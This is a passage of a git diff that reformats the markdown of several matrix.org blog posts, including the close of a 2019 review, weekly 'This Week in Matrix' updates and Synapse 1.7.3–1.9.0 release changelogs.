think a lot more about this and we’re working on a proposal for Decentralised MLS which builds on plain MLS while also giving the semantics needed for Matrix. It’s all very experimental at this point (and the proof-of-concept implementation is written in [Julia](https://julialang.org/)!) - but looks promising. We’ll share more asap, and will certainly be investing more time in this in 2020.. -* _Storing and querying more generic data structures in Matrix (e.g. object trees; scene graphs)_ - -Sadly no progress here :( +* _Storing and querying more generic data structures in Matrix (e.g. object trees; scene graphs)_ + +Sadly no progress here :( + +* _Alternate use cases for VR, IoT, etc._ -* _Alternate use cases for VR, IoT, etc._ - ...and none here either. So, of all the myriad things on our radar for 2019 (as of Dec 2018), hopefully this gives some idea of where we hit the mark. @@ -183,11 +183,11 @@ So, of all the myriad things on our radar for 2019 (as of Dec 2018), hopefully t However, there’s also a tonne of other stuff which happened which wasn’t explicitly on the radar. On the synapse side, we finished fully migrating from Python 2 to Python 3, and started using asyncio and all the latest Python 3 goodies! We finally [implemented configurable history retention](https://github.com/matrix-org/synapse/pull/6358) for servers and rooms! We even implemented [self-destructing messages](https://github.com/matrix-org/synapse/pull/6409) in Synapse (not that Riot exposes them yet). And there has been loads of optimisation and performance work since 1.0 landed in June. -On the ops side, we overhauled all our ops processes and security after the Matrix.org [datacenter breach](https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/) in April, throwing away our legacy infrastructure and rebuilding it properly - and subsequently have been expanding our ops team from one dedicated ops person to four. We also found ourselves having to do another emergency datacenter migration back in November when the old one was unable to reliably service IO for our database cluster. +On the ops side, we overhauled all our ops processes and security after the Matrix.org [datacenter breach](https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/) in April, throwing away our legacy infrastructure and rebuilding it properly - and subsequently have been expanding our ops team from one dedicated ops person to four. We also found ourselves having to do another emergency datacenter migration back in November when the old one was unable to reliably service IO for our database cluster. -We also spent a bunch time after shipping Matrix 1.0 working on tightening up Matrix’s privacy model - particularly around third party identity servers, integration managers, and making sure that folks self-hosting Matrix don’t accidentally depend on use 3rd party services without realising it. If you missed out on the fun at the time, you can read all about it [here](https://matrix.org/blog/2019/06/30/tightening-up-privacy-in-matrix/) and [here](https://matrix.org/blog/2019/09/27/privacy-improvements-in-synapse-1-4-and-riot-1-4/). This ended up being way more work than we expected, but we’re very glad to have sorted it out now. +We also spent a bunch time after shipping Matrix 1.0 working on tightening up Matrix’s privacy model - particularly around third party identity servers, integration managers, and making sure that folks self-hosting Matrix don’t accidentally depend on use 3rd party services without realising it. If you missed out on the fun at the time, you can read all about it [here](https://matrix.org/blog/2019/06/30/tightening-up-privacy-in-matrix/) and [here](https://matrix.org/blog/2019/09/27/privacy-improvements-in-synapse-1-4-and-riot-1-4/). This ended up being way more work than we expected, but we’re very glad to have sorted it out now. -Meanwhile, mainstream uptake of Matrix has properly taken off, with the French Government launching Tchap (their fork of Riot), now with hundreds of thousands of daily active users. The [German Government revealed today](https://www.heise.de/newsticker/meldung/Open-Source-Bundeswehr-baut-eigene-verschluesselte-Messenger-App-4623404.html) that they are also formally trialling Matrix, starting with the Bundeswehr (Ministry of Defense); we’ve been helping them out with the deployment too. It is not an exaggeration to suggest that we could end up with an official cross-government Matrix network, publicly federated with the wider Internet, for self-hosted encrypted decentralised instant messaging. In fact Ulrich Kelber, the Bundesdatenschutzbeauftragte (Federal Data Protection Commissioner) for Germany [pointed out](https://www.golem.de/news/whatsapp-matrix-oder-xmpp-bmi-sucht-einen-messenger-fuer-bundesbehoerden-1912-145326.html): “You could even set up a privacy-friendly messenger service in cooperation with France, which in the medium term could represent a real alternative to existing products on the market as a pan-European solution”. +Meanwhile, mainstream uptake of Matrix has properly taken off, with the French Government launching Tchap (their fork of Riot), now with hundreds of thousands of daily active users. The [German Government revealed today](https://www.heise.de/newsticker/meldung/Open-Source-Bundeswehr-baut-eigene-verschluesselte-Messenger-App-4623404.html) that they are also formally trialling Matrix, starting with the Bundeswehr (Ministry of Defense); we’ve been helping them out with the deployment too. It is not an exaggeration to suggest that we could end up with an official cross-government Matrix network, publicly federated with the wider Internet, for self-hosted encrypted decentralised instant messaging. In fact Ulrich Kelber, the Bundesdatenschutzbeauftragte (Federal Data Protection Commissioner) for Germany [pointed out](https://www.golem.de/news/whatsapp-matrix-oder-xmpp-bmi-sucht-einen-messenger-fuer-bundesbehoerden-1912-145326.html): “You could even set up a privacy-friendly messenger service in cooperation with France, which in the medium term could represent a real alternative to existing products on the market as a pan-European solution”. Alongside all this, [Mozilla announced](https://matrix.org/blog/2019/12/19/welcoming-mozilla-to-matrix/) they are replacing the Moznet IRC network with Matrix; [KDE joined Matrix](https://matrix.org/blog/2019/02/20/welcome-to-matrix-kde/) in Feb, [Wikimedia](https://phabricator.wikimedia.org/T230531) is getting set up on their server, and more and more massive players (including the largest in the world) keep getting in touch to find out how they can best get onboard Matrix - it’s incredibly exciting. It also means that we were able to [raise capital](https://matrix.org/blog/2019/10/10/new-vector-raises-8-5-m-to-accelerate-matrix-riot-modular/) to keep folks employed to work on Matrix fulltime via [New Vector](https://vector.im) and scale up [Modular.im](https://modular.im) as a paid hosting platform - which massively helps support core Matrix development. @@ -195,33 +195,32 @@ Alongside all this, [Mozilla announced](https://matrix.org/blog/2019/12/19/welco All that remains now is to make some predictions for 2020. Our main priorities are: -* Get E2E enabled for private rooms by default (see above). +* Get E2E enabled for private rooms by default (see above). -* Riot First-time User Experience (FTUE). While we redesigned Riot’s UI in 2019, there are still far too many weird gotchas which trip over new users. Starting in October we began a shift to completely change how Riot development works - transitioning the project to being led by the UX design team rather than the dev team, and ensuring that the design team considers the app holistically across all 3 platforms. Above all else, our priority is to make it kick ass for normal non-technical mainstream users - not just for opensourcey wizards. This is a tough ask, but we believe it’s literally make-or-break for the project in the long term if Matrix is ever to become as prevalent as Slack or WhatsApp, and we are throwing everything we have at it. The second that E2E is on by default, the entirety of the Riot teams will be focusing on the mission to clear our [FTUE backlog](https://github.com/vector-im/riot-web/issues?q=is%3Aopen+is%3Aissue+label%3Aproject%3Aftue). +* Riot First-time User Experience (FTUE). While we redesigned Riot’s UI in 2019, there are still far too many weird gotchas which trip over new users. Starting in October we began a shift to completely change how Riot development works - transitioning the project to being led by the UX design team rather than the dev team, and ensuring that the design team considers the app holistically across all 3 platforms. Above all else, our priority is to make it kick ass for normal non-technical mainstream users - not just for opensourcey wizards. This is a tough ask, but we believe it’s literally make-or-break for the project in the long term if Matrix is ever to become as prevalent as Slack or WhatsApp, and we are throwing everything we have at it. The second that E2E is on by default, the entirety of the Riot teams will be focusing on the mission to clear our [FTUE backlog](https://github.com/vector-im/riot-web/issues?q=is%3Aopen+is%3Aissue+label%3Aproject%3Aftue). -* RiotX. We’re shipping RiotX on Android as fast as we can - currently users on Riot/Android are left high and dry and we need to do everything we can to finish RiotX and get them upgraded as rapidly as possible. +* RiotX. We’re shipping RiotX on Android as fast as we can - currently users on Riot/Android are left high and dry and we need to do everything we can to finish RiotX and get them upgraded as rapidly as possible. -* Communities. Off the back of FTUE comes the importance of grouping rooms & users together into communities in a much better way than we have today. This will be up next. +* Communities. Off the back of FTUE comes the importance of grouping rooms & users together into communities in a much better way than we have today. This will be up next. -* Synapse: shard the master by user/room to avoid being it being bottlenecked on CPU. We also need to apply smarter queue management on federation traffic to better reduce the memory footprint (and so eliminate complexity limits on small-footprint hosted servers!) - and we also desperately need to speed up joins. +* Synapse: shard the master by user/room to avoid being it being bottlenecked on CPU. We also need to apply smarter queue management on federation traffic to better reduce the memory footprint (and so eliminate complexity limits on small-footprint hosted servers!) - and we also desperately need to speed up joins. -* Dendrite & P2P Matrix: the plan currently is to use Dendrite as the basis for our P2P Matrix experiments. In practice this means making it federate using [MSC1228](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/remove_mxids_from_events/proposals/1228-removing-mxids-from-events.md)-semantics (no point in wasting time implementing the ‘legacy’ key management), and then experiment with hooking it up to various P2P transports (e.g. our low-bandwidth CoAP transport) and discovery systems (e.g. mDNS; libp2p; etc). How we go about actually getting it into production depends entirely on how well the experiment goes; we could evolve Matrix to be hybrid CS/P2P; we could treat it as a new protocol and bridge to it; who knows. Watch this space... +* Dendrite & P2P Matrix: the plan currently is to use Dendrite as the basis for our P2P Matrix experiments. In practice this means making it federate using [MSC1228](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/remove_mxids_from_events/proposals/1228-removing-mxids-from-events.md)-semantics (no point in wasting time implementing the ‘legacy’ key management), and then experiment with hooking it up to various P2P transports (e.g. our low-bandwidth CoAP transport) and discovery systems (e.g. mDNS; libp2p; etc). How we go about actually getting it into production depends entirely on how well the experiment goes; we could evolve Matrix to be hybrid CS/P2P; we could treat it as a new protocol and bridge to it; who knows. Watch this space... -* MLS: figure out our plan for next-generation E2E - for better scaling, and better reliability, and what (if anything) we should do with [MLS](https://datatracker.ietf.org/wg/mls/charter/). +* MLS: figure out our plan for next-generation E2E - for better scaling, and better reliability, and what (if anything) we should do with [MLS](https://datatracker.ietf.org/wg/mls/charter/). -* Bridges: loads of work on the horizon to put a better UX on Bridging. Bridge stability has improved enormously over the last year (thanks Half-Shot!) but we need to transition from being robust but ugly to being robust and polished... +* Bridges: loads of work on the horizon to put a better UX on Bridging. Bridge stability has improved enormously over the last year (thanks Half-Shot!) but we need to transition from being robust but ugly to being robust and polished... -* Spec: we need to work out how to go faster on reviewing MSCs (both our own and from the wider community). While the governance process in general feels healthier than it’s ever been, empirically we’re not exactly burning through the MSC backlog - and this is in part that MSC work is squeezed in alongside the other dayjob stuff everyone’s working on. Finding the right balance between sculpting spec and sculpting code is tough, but we’re going to try to improve it in 2020. +* Spec: we need to work out how to go faster on reviewing MSCs (both our own and from the wider community). While the governance process in general feels healthier than it’s ever been, empirically we’re not exactly burning through the MSC backlog - and this is in part that MSC work is squeezed in alongside the other dayjob stuff everyone’s working on. Finding the right balance between sculpting spec and sculpting code is tough, but we’re going to try to improve it in 2020. -* Abuse / Reputation: we want to empower users to make their own minds up about what content they want to see and not see on Matrix (or what they want to host or not host on their servers / communities / rooms). [Mjolnir](https://github.com/matrix-org/mjolnir) is a good start, but we’ll be continuing to work on this throughout the year. +* Abuse / Reputation: we want to empower users to make their own minds up about what content they want to see and not see on Matrix (or what they want to host or not host on their servers / communities / rooms). [Mjolnir](https://github.com/matrix-org/mjolnir) is a good start, but we’ll be continuing to work on this throughout the year. Meanwhile, all the things listed above that we didn’t get to in 2019 are of course still options on the menu too. So there you have it. I’ve not even tried to talk about the amazing stuff that the wider Matrix community has been up to - whether that’s amazing new clients like [Ditto](https://dittochat.org/) (React Native!) or [Nio!](https://github.com/kiliankoe/nio) (SwiftUI), or new bridges like [mautrix-facebook](https://github.com/tulir/mautrix-facebook) and [mautrix-hangouts](https://github.com/tulir/mautrix-hangouts), or even poljar’s secret rewrite of [weechat-matrix in Rust](https://github.com/poljar/weechat-matrix-rs); your best bet there is to skim through [TWIM](https://matrix.org/blog/category/this-week-in-matrix/). Huge undying thanks go out though to everyone who builds on Matrix and keeps the ecosystem maturing and growing (especially while we’re scurrying around shoring up the foundations) - there’s simply no point in Matrix as a protocol without the vibrant community building on top. -All told, it’s been a bit of an epic year (both in terms of wins and fails), and all that remains is to thank *everyone* who continues to use Matrix (particularly our [Patreon](https://www.patreon.com/matrixdotorg) supporters) for their ongoing support and for helping the project accelerate forwards. More than ever before, the world needs free and open communication open to all; the age of proprietary communication silos may be coming to an end - consigned to live alongside AOL CDs and Compuserve IDs in the history books. With your support, Matrix can provide a decent mainstream yet decentralised alternative - and we’ll do everything we can to make that happen in 2020. +All told, it’s been a bit of an epic year (both in terms of wins and fails), and all that remains is to thank _everyone_ who continues to use Matrix (particularly our [Patreon](https://www.patreon.com/matrixdotorg) supporters) for their ongoing support and for helping the project accelerate forwards. More than ever before, the world needs free and open communication open to all; the age of proprietary communication silos may be coming to an end - consigned to live alongside AOL CDs and Compuserve IDs in the history books. With your support, Matrix can provide a decent mainstream yet decentralised alternative - and we’ll do everything we can to make that happen in 2020. Happy holidays! Matthew, Amandine & the whole Matrix.org team. - diff --git a/content/blog/2019/12/2019-12-27-this-week-in-matrix-2019-12-27.md b/content/blog/2019/12/2019-12-27-this-week-in-matrix-2019-12-27.md index 36b152f8c..80cf6b491 100644 --- a/content/blog/2019/12/2019-12-27-this-week-in-matrix-2019-12-27.md +++ b/content/blog/2019/12/2019-12-27-this-week-in-matrix-2019-12-27.md @@ -81,13 +81,13 @@ If you're at 36c3 this weekend, come and find us! Use c3nav app to find our asse > [koma](https://github.com/koma-im/koma-library), a Kotlin library. Dominic Fischer (github: [Dominaezzz](https://github.com/Dominaezzz)) started working on the project last week and so far: > -> * In preparation for multiplatform support, converted JVM code to agnostic Kotlin, using the library `atomicfu` +> - In preparation for multiplatform support, converted JVM code to agnostic Kotlin, using the library `atomicfu` > -> * Added Github Actions configuration to run builds automatically +> - Added Github Actions configuration to run builds automatically > > [Continuum](https://github.com/koma-im/continuum-desktop), desktop client based on Koma: > -> * Generate room name from members when neither name nor aliases are configured +> - Generate room name from members when neither name nor aliases are configured ## Dept of Ops 🛠 @@ -97,8 +97,9 @@ If you're at 36c3 this weekend, come and find us! Use c3nav app to find our asse > ma1sd (fork of the mxisd) 2.2.2 released: > Changes: -> * bugfix -> * added hash lookup for the ldap provider. +> +> - bugfix +> - added hash lookup for the ldap provider. ## Dept of Services 🚀 diff --git a/content/blog/2019/12/2019-12-31-synapse-1-7-3-released.md b/content/blog/2019/12/2019-12-31-synapse-1-7-3-released.md index c6f1dc17e..2b6362601 100644 --- a/content/blog/2019/12/2019-12-31-synapse-1-7-3-released.md +++ b/content/blog/2019/12/2019-12-31-synapse-1-7-3-released.md @@ -11,17 +11,14 @@ Hi all, We've just released Synapse 1.7.3 - an important bug fix to address a class of failures due to malformed events. We've seen this in the wild over the last few days, so we'd recommend updating as soon as possible, especially if you are having problems federating. -Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.7.3) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. +Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.7.3) or any of the sources mentioned at . The changelog since 1.7.2 is: -Synapse 1.7.3 (2019-12-31) -========================== +## Synapse 1.7.3 (2019-12-31) This release fixes a long-standing bug in the state resolution algorithm. -Bugfixes --------- +### Bugfixes - Fix exceptions caused by state resolution choking on malformed events. ([\#6608](https://github.com/matrix-org/synapse/issues/6608)) - diff --git a/content/blog/2020/01/2020-01-02-on-privacy-versus-freedom.md b/content/blog/2020/01/2020-01-02-on-privacy-versus-freedom.md index 94e4306cb..3692e1f45 100644 --- a/content/blog/2020/01/2020-01-02-on-privacy-versus-freedom.md +++ b/content/blog/2020/01/2020-01-02-on-privacy-versus-freedom.md @@ -13,16 +13,15 @@ At the time we didn’t respond via a blog post; instead we ended up talking it From my perspective, the main points proposed in ‘The ecosystem is moving’ boil down to: +* Decentralised systems are harder to design and build than centralised ones, as coordination is harder if you don’t have a single authority to trust. -* Decentralised systems are harder to design and build than centralised ones, as coordination is harder if you don’t have a single authority to trust. +* Decentralised systems are harder and slower to evolve than centralised ones, as you can’t force participants to rapidly roll out (or even agree on) new features. -* Decentralised systems are harder and slower to evolve than centralised ones, as you can’t force participants to rapidly roll out (or even agree on) new features. +* Users in federated systems tend to coalesce around the best/biggest server that the bulk of people use - which means that server typically gets to see a disproportionate amount of communication metadata (who’s talking to who, and when), and has disproportionate power over the network, which could bully others away from running their own deployments. -* Users in federated systems tend to coalesce around the best/biggest server that the bulk of people use - which means that server typically gets to see a disproportionate amount of communication metadata (who’s talking to who, and when), and has disproportionate power over the network, which could bully others away from running their own deployments. +* If users don’t trust their app provider, they can always go switch apps, which gives them freedom. -* If users don’t trust their app provider, they can always go switch apps, which gives them freedom. - -* Open systems are less secure because you have no control over the quality of the implementations - if anyone can bring their own client or server to the table, all it takes is one bad implementation to compromise everyone in the vicinity. +* Open systems are less secure because you have no control over the quality of the implementations - if anyone can bring their own client or server to the table, all it takes is one bad implementation to compromise everyone in the vicinity. Now, all of these points are valid to some extent. diff --git a/content/blog/2020/01/2020-01-09-synapse-1-8-0-released.md b/content/blog/2020/01/2020-01-09-synapse-1-8-0-released.md index 9274534cc..0f8d552fb 100644 --- a/content/blog/2020/01/2020-01-09-synapse-1-8-0-released.md +++ b/content/blog/2020/01/2020-01-09-synapse-1-8-0-released.md @@ -11,24 +11,18 @@ Synapse 1.8.0 has arrived, it contains a whole host of bug fixes and tweaks, mos More generally we are spending a lot of time improving the e2ee experience ahead of switching on e2ee by default, so watch this space. -Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.8.0) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. +Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.8.0) or any of the sources mentioned at . +## Synapse 1.8.0 (2020-01-09) -Synapse 1.8.0 (2020-01-09) -========================== - -Bugfixes --------- +### Bugfixes - Fix `GET` request on `/_synapse/admin/v2/users` endpoint. Contributed by Awesome Technologies Innovationslabor GmbH. ([\#6563](https://github.com/matrix-org/synapse/issues/6563)) - Fix incorrect signing of responses from the key server implementation. ([\#6657](https://github.com/matrix-org/synapse/issues/6657)) +## Synapse 1.8.0rc1 (2020-01-07) -Synapse 1.8.0rc1 (2020-01-07) -============================= - -Features --------- +### Features - Add v2 APIs for the `send_join` and `send_leave` federation endpoints (as described in [MSC1802](https://github.com/matrix-org/matrix-doc/pull/1802)). ([\#6349](https://github.com/matrix-org/synapse/issues/6349)) - Add a develop script to generate full SQL schemas. ([\#6394](https://github.com/matrix-org/synapse/issues/6394)) @@ -39,9 +33,7 @@ Features - Add experimental config option to specify multiple databases. ([\#6580](https://github.com/matrix-org/synapse/issues/6580)) - Raise an error if someone tries to use the `log_file` config option. ([\#6626](https://github.com/matrix-org/synapse/issues/6626)) - -Bugfixes --------- +### Bugfixes - Prevent redacted events from being returned during message search. ([\#6377](https://github.com/matrix-org/synapse/issues/6377), [\#6522](https://github.com/matrix-org/synapse/issues/6522)) - Prevent error on trying to search a upgraded room when the server is not in the predecessor room. ([\#6385](https://github.com/matrix-org/synapse/issues/6385)) @@ -56,24 +48,18 @@ Bugfixes - Ensure that upgraded rooms are removed from the directory. ([\#6648](https://github.com/matrix-org/synapse/issues/6648)) - Fix a bug causing Synapse not to fetch missing events when it believes it has every event in the room. ([\#6652](https://github.com/matrix-org/synapse/issues/6652)) - -Improved Documentation ----------------------- +### Improved Documentation - Document the Room Shutdown Admin API. ([\#6541](https://github.com/matrix-org/synapse/issues/6541)) - Reword sections of [docs/federate.md](docs/federate.md) that explained delegation at time of Synapse 1.0 transition. ([\#6601](https://github.com/matrix-org/synapse/issues/6601)) - Added the section 'Configuration' in [docs/turn-howto.md](docs/turn-howto.md). ([\#6614](https://github.com/matrix-org/synapse/issues/6614)) - -Deprecations and Removals -------------------------- +### Deprecations and Removals - Remove redundant code from event authorisation implementation. ([\#6502](https://github.com/matrix-org/synapse/issues/6502)) - Remove unused, undocumented `/_matrix/content` API. ([\#6628](https://github.com/matrix-org/synapse/issues/6628)) - -Internal Changes ----------------- +### Internal Changes - Add *experimental* support for multiple physical databases and split out state storage to separate data store. ([\#6245](https://github.com/matrix-org/synapse/issues/6245), [\#6510](https://github.com/matrix-org/synapse/issues/6510), [\#6511](https://github.com/matrix-org/synapse/issues/6511), [\#6513](https://github.com/matrix-org/synapse/issues/6513), [\#6564](https://github.com/matrix-org/synapse/issues/6564), [\#6565](https://github.com/matrix-org/synapse/issues/6565)) - Port sections of code base to async/await. ([\#6496](https://github.com/matrix-org/synapse/issues/6496), [\#6504](https://github.com/matrix-org/synapse/issues/6504), [\#6505](https://github.com/matrix-org/synapse/issues/6505), [\#6517](https://github.com/matrix-org/synapse/issues/6517), [\#6559](https://github.com/matrix-org/synapse/issues/6559), [\#6647](https://github.com/matrix-org/synapse/issues/6647), [\#6653](https://github.com/matrix-org/synapse/issues/6653)) @@ -93,6 +79,4 @@ Internal Changes - Simplify event creation code by removing redundant queries on the `event_reference_hashes` table. ([\#6629](https://github.com/matrix-org/synapse/issues/6629)) - Fix errors when `frozen_dicts` are enabled. ([\#6642](https://github.com/matrix-org/synapse/issues/6642)) -Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.8.0) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. - - +Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.8.0) or any of the sources mentioned at . diff --git a/content/blog/2020/01/2020-01-10-this-week-in-matrix-2020-01-10.md b/content/blog/2020/01/2020-01-10-this-week-in-matrix-2020-01-10.md index fe0f3f1b4..f6790ad97 100644 --- a/content/blog/2020/01/2020-01-10-this-week-in-matrix-2020-01-10.md +++ b/content/blog/2020/01/2020-01-10-this-week-in-matrix-2020-01-10.md @@ -54,17 +54,18 @@ Several packaging projects have been updated to deploy the new version: * [multi-arch synapse docker image](https://hub.docker.com/r/black0/synapse) from [Black Hat](https://matrix.to/#/@bhat:encom.eu.org) * also from the Debian repos thanks to [@andrewsh:matrix.org](https://matrix.to/#/@andrewsh:matrix.org) -### matrix-media-repo v1.0.0 - repeat, v1.0.0!! +### matrix-media-repo v1.0.0 - repeat, v1.0.0 [TravisR](https://github.com/turt2live) offered: > [matrix-media-repo v1.0.0](https://github.com/turt2live/matrix-media-repo/releases/tag/v1.0.0) has been released! If it is suitable for your environment, please give it a go. -### Dendrite federation work! +### Dendrite federation work [Neil Alexander](https://matrix.to/#/@neilalexander:matrix.org) announced: > Federation fixes have been pushed to `gomatrixserverlib` and Dendrite's `master` branches, that include the following tweaks: +> > * Using the `v2` endpoints for `/send_join` and `/send_leave` > * Fixing the resolution of room aliases to room IDs in the Dendrite federation API > * A rewrite of the auth chain functions which should be a bit smoother @@ -112,30 +113,35 @@ Several packaging projects have been updated to deploy the new version: [sorunome](https://matrix.to/#/@sorunome:sorunome.de) reported: > Lots of changes in [mx-puppet-bridge](https://github.com/Sorunome/mx-puppet-bridge)! -> - Allow sending status messages into bridged rooms -> - add a bridgeChannel function for protocol implementations -> - add config options to set displayname and avatar url of the AS bot -> - leave the bridge bot of a bridged room, whenever possible -> - auto-leave a puppeted ghost after an hour inactivity (to prevent DMs having three users in them) -> - automatically dedupe media when uploading -> - matrix group to remote protocol group mapping -> -> # mx-puppet-discord +> +> * Allow sending status messages into bridged rooms +> * add a bridgeChannel function for protocol implementations +> * add config options to set displayname and avatar url of the AS bot +> * leave the bridge bot of a bridged room, whenever possible +> * auto-leave a puppeted ghost after an hour inactivity (to prevent DMs having three users in them) +> * automatically dedupe media when uploading +> * matrix group to remote protocol group mapping +> + +### mx-puppet-discord +> > Along with mx-puppet-bridge, things got implemented in [mx-puppet-discord](https://github.com/Sorunome/mx-puppet-bridge)! -> - allow bridging of single channels in a guild -> - display an error if sending a message to discord fails -> - add `joinentireguild` command -> - handle webhooks properly -> - map discord guilds to matrix groups +> +> * allow bridging of single channels in a guild +> * display an error if sending a message to discord fails +> * add `joinentireguild` command +> * handle webhooks properly +> * map discord guilds to matrix groups > > If you enjoy this software, please consider to [donate](https://liberapay.com/Sorunome/donate), thank you! 🦊 - +> > And another mx-puppet-discord update! -> - [User Tokens] Proper User-Agent spoofing - friends management now seems mostly safe! Leaving the warning thing in just-in-case, though +> +> * [User Tokens] Proper User-Agent spoofing - friends management now seems mostly safe! Leaving the warning thing in just-in-case, though ## Dept of Clients 📱 -### 📽️ Matrix Presents! +### 📽️ Matrix Presents I'm adding this to the client section because it behaves like a client, but it's not what we'd normally think of... diff --git a/content/blog/2020/01/2020-01-17-this-week-in-matrix-2020-01-17.md b/content/blog/2020/01/2020-01-17-this-week-in-matrix-2020-01-17.md index acbbf5862..7c674835b 100644 --- a/content/blog/2020/01/2020-01-17-this-week-in-matrix-2020-01-17.md +++ b/content/blog/2020/01/2020-01-17-this-week-in-matrix-2020-01-17.md @@ -53,7 +53,7 @@ New from bit.nl, a public Matrix Homeserver focused on the Dutch market. [Read t > > * [MSC2413: Remove client_secret](https://github.com/matrix-org/matrix-doc/pull/2413) > * [MSC2409: Proposal to send EDUs to appservices](https://github.com/matrix-org/matrix-doc/pull/2409) -> * This is a continuation of [MSC1888](https://github.com/matrix-org/matrix-doc/pull/1888) +> * This is a continuation of [MSC1888](https://github.com/matrix-org/matrix-doc/pull/1888) > > The Spec Core Team is still working on implementation, and likely will continue to be until after FOSDEM. diff --git a/content/blog/2020/01/2020-01-23-synapse-1-9-0-released.md b/content/blog/2020/01/2020-01-23-synapse-1-9-0-released.md index ca305e5b5..361c80321 100644 --- a/content/blog/2020/01/2020-01-23-synapse-1-9-0-released.md +++ b/content/blog/2020/01/2020-01-23-synapse-1-9-0-released.md @@ -11,39 +11,30 @@ Synapse 1.9.0 contains a bunch of new admin APIs as well as bug fixes to existin Aside from that it is worth noting that we have officially dropped support for SQLite versions < 3.11. Though more generally we would recommend that all admins [migrate to Postgres](https://github.com/matrix-org/synapse/blob/release-v1.9.0/docs/postgres.md) for anything other than test and evaluation purposes. -Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.9.0) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. - +Get the new release from [github](https://github.com/matrix-org/synapse/releases/tag/v1.9.0) or any of the sources mentioned at . Changelog since Synapse 1.8.0 -Synapse 1.9.0 (2020-01-23) -========================== +## Synapse 1.9.0 (2020-01-23) **WARNING**: As of this release, Synapse no longer supports versions of SQLite before 3.11, and will refuse to start when configured to use an older version. Administrators are recommended to migrate their database to Postgres (see instructions [here](https://github.com/matrix-org/synapse/blob/release-v1.9.0/docs/postgres.md)). If your Synapse deployment uses workers, note that the reverse-proxy configurations for the `synapse.app.media_repository`, `synapse.app.federation_reader` and `synapse.app.event_creator` workers have changed, with the addition of a few paths (see the updated configurations [here](https://github.com/matrix-org/synapse/blob/release-v1.9.0/docs/workers.md#available-worker-applications)). Existing configurations will continue to work. - -Improved Documentation ----------------------- +### Improved Documentation - Fix endpoint documentation for the List Rooms admin API. ([\#6770](https://github.com/matrix-org/synapse/issues/6770)) +## Synapse 1.9.0rc1 (2020-01-22) -Synapse 1.9.0rc1 (2020-01-22) -============================= - -Features --------- +### Features - Allow admin to create or modify a user. Contributed by Awesome Technologies Innovationslabor GmbH. ([\#5742](https://github.com/matrix-org/synapse/issues/5742)) - Add new quarantine media admin APIs to quarantine by media ID or by user who uploaded the media. ([\#6681](https://github.com/matrix-org/synapse/issues/6681), [\#6756](https://github.com/matrix-org/synapse/issues/6756)) - Add `org.matrix.e2e_cross_signing` to `unstable_features` in `/versions` as per [MSC1756](https://github.com/matrix-org/matrix-doc/pull/1756). ([\#6712](https://github.com/matrix-org/synapse/issues/6712)) - Add a new admin API to list and filter rooms on the server. ([\#6720](https://github.com/matrix-org/synapse/issues/6720)) - -Bugfixes --------- +### Bugfixes - Correctly proxy HTTP errors due to API calls to remote group servers. ([\#6654](https://github.com/matrix-org/synapse/issues/6654)) - Fix media repo admin APIs when using a media worker. ([\#6664](https://github.com/matrix-org/synapse/issues/6664)) @@ -59,9 +50,7 @@ Bugfixes - Fix `AttributeError: 'NoneType' object has no attribute 'get'` in `hash_password` when configuration has an empty `password_config`. Contributed by @ivilata. ([\#6753](https://github.com/matrix-org/synapse/issues/6753)) - Fix the `docker-compose.yaml` overriding the entire `/etc` folder of the container. Contributed by Fabian Meyer. ([\#6656](https://github.com/matrix-org/synapse/issues/6656)) - -Improved Documentation ----------------------- +### Improved Documentation - Fix a typo in the configuration example for purge jobs in the sample configuration file. ([\#6621](https://github.com/matrix-org/synapse/issues/6621)) - Add complete documentation of the message retention policies support. ([\#6624](https://github.com/matrix-org/synapse/issues/6624), [\#6665](https://github.com/matrix-org/synapse/issues/6665)) @@ -69,15 +58,11 @@ Improved Documentation - Clarify the `account_validity` and `email` sections of the sample configuration. ([\#6685](https://github.com/matrix-org/synapse/issues/6685)) - Add more endpoints to the documentation for Synapse workers. ([\#6698](https://github.com/matrix-org/synapse/issues/6698)) - -Deprecations and Removals -------------------------- +### Deprecations and Removals - Synapse no longer supports versions of SQLite before 3.11, and will refuse to start when configured to use an older version. Administrators are recommended to migrate their database to Postgres (see instructions [here](docs/postgres.md)). ([\#6675](https://github.com/matrix-org/synapse/issues/6675)) - -Internal Changes ----------------- +### Internal Changes - Add `local_current_membership` table for tracking local user membership state in rooms. ([\#6655](https://github.com/matrix-org/synapse/issues/6655), [\#6728](https://github.com/matrix-org/synapse/issues/6728)) - Port `synapse.replication.tcp` to async/await. ([\#6666](https://github.com/matrix-org/synapse/issues/6666)) diff --git a/content/blog/2020/01/2020-01-24-this-week-in-matrix-2020-01-24.md b/content/blog/2020/01/2020-01-24-this-week-in-matrix-2020-01-24.md index 5588652c7..2c4997c55 100644 --- a/content/blog/2020/01/2020-01-24-this-week-in-matrix-2020-01-24.md +++ b/content/blog/2020/01/2020-01-24-this-week-in-matrix-2020-01-24.md @@ -24,12 +24,15 @@ Half-Shot talks to Neil about his new(ish) project, [matrix-presents](https://gi > Here are your spec updates for this week! > > **Merged MSCs:** +> > * _No MSCs were merged this week._ > > **MSCs in Final Comment Period:** +> > * _No MSCs currently in Final Comment Period_ > > **New MSCs:** +> > * [MSC2422: Allow color on font tag](https://github.com/matrix-org/matrix-doc/pull/2422) > * [MSC2416: Enhance m.login.token authentication type](https://github.com/matrix-org/matrix-doc/pull/2416) > * [MSC2414: Make reason optional for reporting content](https://github.com/matrix-org/matrix-doc/pull/2414) @@ -45,11 +48,11 @@ Half-Shot talks to Neil about his new(ish) project, [matrix-presents](https://gi [Neil Alexander](https://matrix.to/#/@neilalexander:matrix.org) announced: > A fairly big PR was merged into Dendrite yesterday (and some more fixes today) which gets `/sync` working better and 